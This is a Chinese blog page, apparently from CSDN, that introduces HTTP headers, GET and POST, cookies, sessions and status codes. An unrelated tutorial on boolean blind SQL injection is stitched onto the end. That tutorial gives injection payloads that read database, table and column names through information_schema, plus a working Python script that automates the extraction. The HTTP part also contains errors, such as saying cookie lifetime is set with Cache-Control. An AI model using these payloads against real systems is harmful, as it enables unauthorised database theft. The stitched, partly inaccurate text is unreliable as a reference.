初探HTTP

本文介绍了HTTP协议,它是应用层为浏览器和服务器通信设计的协议,基于TCP协议。阐述了HTTP首部的分类,常见请求方法GET和POST的区别,还说明了HTTP无状态但可通过cookie和session建立会话,最后介绍了HTTP状态码的分类及常见代码。

HTTP 是什么?

HTTP : HyperText Transfer Protocol 。根据字面意思我们可以翻译为超文本传输协议。

它是一种位于「应用层」,专门为 web浏览器 和 web服务器 之间通信的而设计的协议。因为网页上通常传输的是 HTML 这样的超媒体文档,所以被称超文本传输协议。

HTTP 是基于「 TCP协议」之上的,所以它也具有的 「 TCP协议」的特点:可靠,传输效率相对较低
HTTP基础概念

HTTP 首部

HTTP 首部可以分为 4 个部分:一般头、请求头、响应头、实体头。

我们可以在任意浏览器中「右键 —— 检查」查看服务器与浏览器之间的网络情况。(推荐 Firefox)
在这里插入图片描述
以百度为例,一般头里存放的是请求信息,主要包括:请求网址、请求方法、返回状态码、连接采用的协议等。

请求网址:https://www.baidu.com/
请求方法:GET
远程地址:180.101.49.11:443
状态码:
200
版本:HTTP/1.1
Referrer 政策:no-referrer-when-downgrade

而作为 web 开发,我们需要重点关注的是 request(请求头)、response(响应头)两部份。

request(请求头),会把客户端的信息放在里面发送给服务器。例如:可接收数据、接受编码格式、语言、连接是否保存、请求的主机域名(可以让多台服务器的任意一台响应)、浏览器信息、Cookie来源网址(防盗链)等。

Host: www.baidu.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0
Accept: text/javascript, application/javascript, application/ecmascript, application/x-ecmascript, */*; q=0.01
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Referer: https://www.baidu.com/
X-Requested-With: XMLHttpRequest
Connection: keep-alive
Cookie: BAIDUID=03E141A2389016553988E825286E0A2F:FG=1;
1
User-Agent	
Mozilla/5.0 (Windows NT 10.0; …) Gecko/20100101 Firefox/67.0

response(响应头):服务器接受到请求根据需要发送数据给客户端。会包含:请求的结果(状态码)、返回数据的长度、编码格式、时间等

HTTP/1.1 200 OK
Content-Length: 74
Content-Type: text/plain; charset=UTF-8
Date: Sun, 14 Jul 2019 01:45:57 GMT

常见请求方法

常与后端打交道的两种请求方法有:get、post。

GET 方法,将请求的参数位于 URL 后,例如:https://www.sogou.com/web?query=123&_asf=www.sogou.com,请求的网址为 https://www.sogou.com/web,以「?」来分割请求网址和请求参数信息,query 为参数名称,123 为参数值,以等号来对应参数名称和值,多个参数之间以「&」区分。

POST 方法,将见于:表单提交,带有敏感信息的请求,所发送的数据隐藏在 HTTP 包中,不显式可见。

二者区别:

  • 传输数据方面:「GET 方法」通过 URL 传递数据,而 URL 的长度是有限制的,无法传输图片、视频等大数据。而「POST 方法」数据存在于 HTTP 包中,理论上不受限制。
  • 安全性方面:「GET 方法」数据显示在 URL 中,容易被窃取,而「POST 方法」不显式可见,更不易被窃取,相对安全。

HTTP 无状态,有会话

无状态:同一连接上的任意两个请求没有链接。服务器无法直接通过连接知道上一请求的状态。

HTTP 的解决,通过 cookie,来记录上一次请求的状态,服务器通过 cookie 告知上一请求的状态,与客户端建立会话。

cookie

  1. 由服务器建立,存储于客户端。
  2. 客户端每次请求 自动 将已有 Cookie 发送给客户端。例:Cookie: BAIDUID=03E141A2389016553988E825286E0A2F:FG=1
  3. 默认存储在内存中,随着浏览器的关闭而销毁。可以手动设置 Cookie 的存活时间(写入本地硬盘 ),例:Cache-Control: max-age= 300,单位为秒。
  4. 大小限制在 4KB。

由 cookie 写入本地硬盘引发的问题:

  1. 不安全性。黑客可以通过获取本地的 cookie 获得信息,本地文件可以人为修改。
  2. 存储数据量不足。随着 web服务的升级,会话所需要传递的数据远不止 4KB。

所以,cookie 仅用来存储一些不太重要的信息。

解决方案 session:

session 将数据存储在 服务器,客户端仅用 cookie 存储 session 的 id。

HTTP 状态码

HTTP 状态码可分为 5 种:

  1. 1XX。以 1 开头,表示 该响应尚未完成。常见的有:101,表示 HTTP 协议的切换。
  2. 2XX。以 2 开头,表示 成功响应。常见代码:200 OK,表示请求成功。
  3. 3XX。以 3 开头,表示重定向

常见代码:304:如果客户端发送了一个带条件的 GET
请求且该请求已被允许,而文档的内容(自上次访问以来或者根据请求的条件)并没有改变,则服务器应当返回这个状态码

  1. 4XX。以 4 开头,通常表示客户端错误。常见代码 404 ,表示客户端所请求的资源并未在服务器上找到。
    404
  2. 5XX。以 5 开头,通常表示服务端响应错误。常见代码 500,表示服务器运行出错。
    人为制造错误
    总结,1XX、2XX、3XX 都属于正常的响应,而 4XX、5XX 都是非正常响应,需要程序员去处理,不能直接将错误暴露给用户。

本篇文章,参考了 MDN官方文档,感兴趣的朋友可以自己去官网查看文档,也可以评论发表你的看法。

布尔盲注是 SQL 注入的一种类型,在无法从页面获取明确的错误信息和查询结果的情况下,通过构造特定的 SQL 语句,根据页面返回的不同状态(如页面正常显示或报错)来判断条件是否成立,逐步获取数据库中的信息。 ### 布尔盲注适用场景 当注入点没有明显的错误信息回显,也不会直接返回查询结果时,布尔盲注就成为一种有效的获取数据库信息的方法。例如在某些 Web 应用中,页面仅返回“正常访问”和“访问异常”两种状态,无法直接看到数据库查询结果,此时可尝试使用布尔盲注。 ### 布尔盲注常用函数及原理 - **length()函数**:用于获取字符串的长度。例如 `length((select database()))` 可获取当前数据库名的长度。通过构造不同长度的判断语句,根据页面返回状态确定数据库名的实际长度。如 `/?id=1' and length((select database()))=8--+`,若页面正常显示,则表示当前数据库名长度为 8;若页面异常,则长度不是 8,继续尝试其他长度。 - **ascii()函数**:将字符转换为对应的 ASCII 码。结合 `substr()` 函数可逐个字符获取数据库名、表名、字段名等信息。`substr(str, pos, len)` 函数用于截取字符串 `str` 从位置 `pos` 开始长度为 `len` 的子字符串。例如 `ascii(substr((select database()),1,1))` 可获取当前数据库名第一个字符的 ASCII 码。通过构造不同 ASCII 码的判断语句,根据页面返回状态确定该字符。如 `/?id=1' and ascii(substr((select database()),1,1))=115--+`,若页面正常显示,则表示数据库名第一个字符的 ASCII 码为 115,对应的字符为 `'s'`;若页面异常,则继续尝试其他 ASCII 码。 ### 布尔盲注步骤 1. **判断数据库名长度**:构造类似 `/?id=1' and length((select database()))=8--+` 的语句,通过不断改变长度,根据页面返回状态确定数据库名的长度。 2. **获取数据库名**:在确定数据库名长度后,使用 `ascii(substr())` 函数逐个字符获取数据库名。例如 `/?id=1' and ascii(substr((select database()),1,1))=115--+` 用于判断数据库名第一个字符,依次类推,获取整个数据库名。 3. **获取表名**:构造 `/?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),1,1))=102--+` 语句,通过改变 `limit` 的和 ASCII 码,逐个获取数据库中的表名。 4. **获取字段名**:在确定表名后,构造 `/?id=1' and ascii(substr((select column_name from information_schema.columns where table_name='表名' limit 1,1),1,1))=102--+` 语句,获取表中的字段名。 5. **获取字段**:构造 `/?id=1' and ascii(substr((select 字段 from 表 limit 1,1),1,1))=1--+` 语句,获取字段的。 ### 布尔盲注示例代码(Python 实现) ```python import requests url = 'http://example.com/?id=' # 判断数据库名长度 def get_db_length(): length = 1 while True: payload = f"1' and length((select database()))={length}--+" response = requests.get(url + payload) if response.status_code == 200: return length length += 1 # 获取数据库名 def get_db_name(): db_length = get_db_length() db_name = '' for i in range(1, db_length + 1): for ascii_code in range(32, 127): payload = f"1' and ascii(substr((select database()),{i},1))={ascii_code}--+" response = requests.get(url + payload) if response.status_code == 200: db_name += chr(ascii_code) break return db_name print("数据库名长度:", get_db_length()) print("数据库名:", get_db_name()) ``` ### 注意事项 - 布尔盲注是一种比较耗时的注入方法,因为需要逐个字符、逐个 ASCII 码进行尝试。 - 在实际应用中,要确保注入操作符合法律法规和道德规范,仅在合法授权的测试环境中进行。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值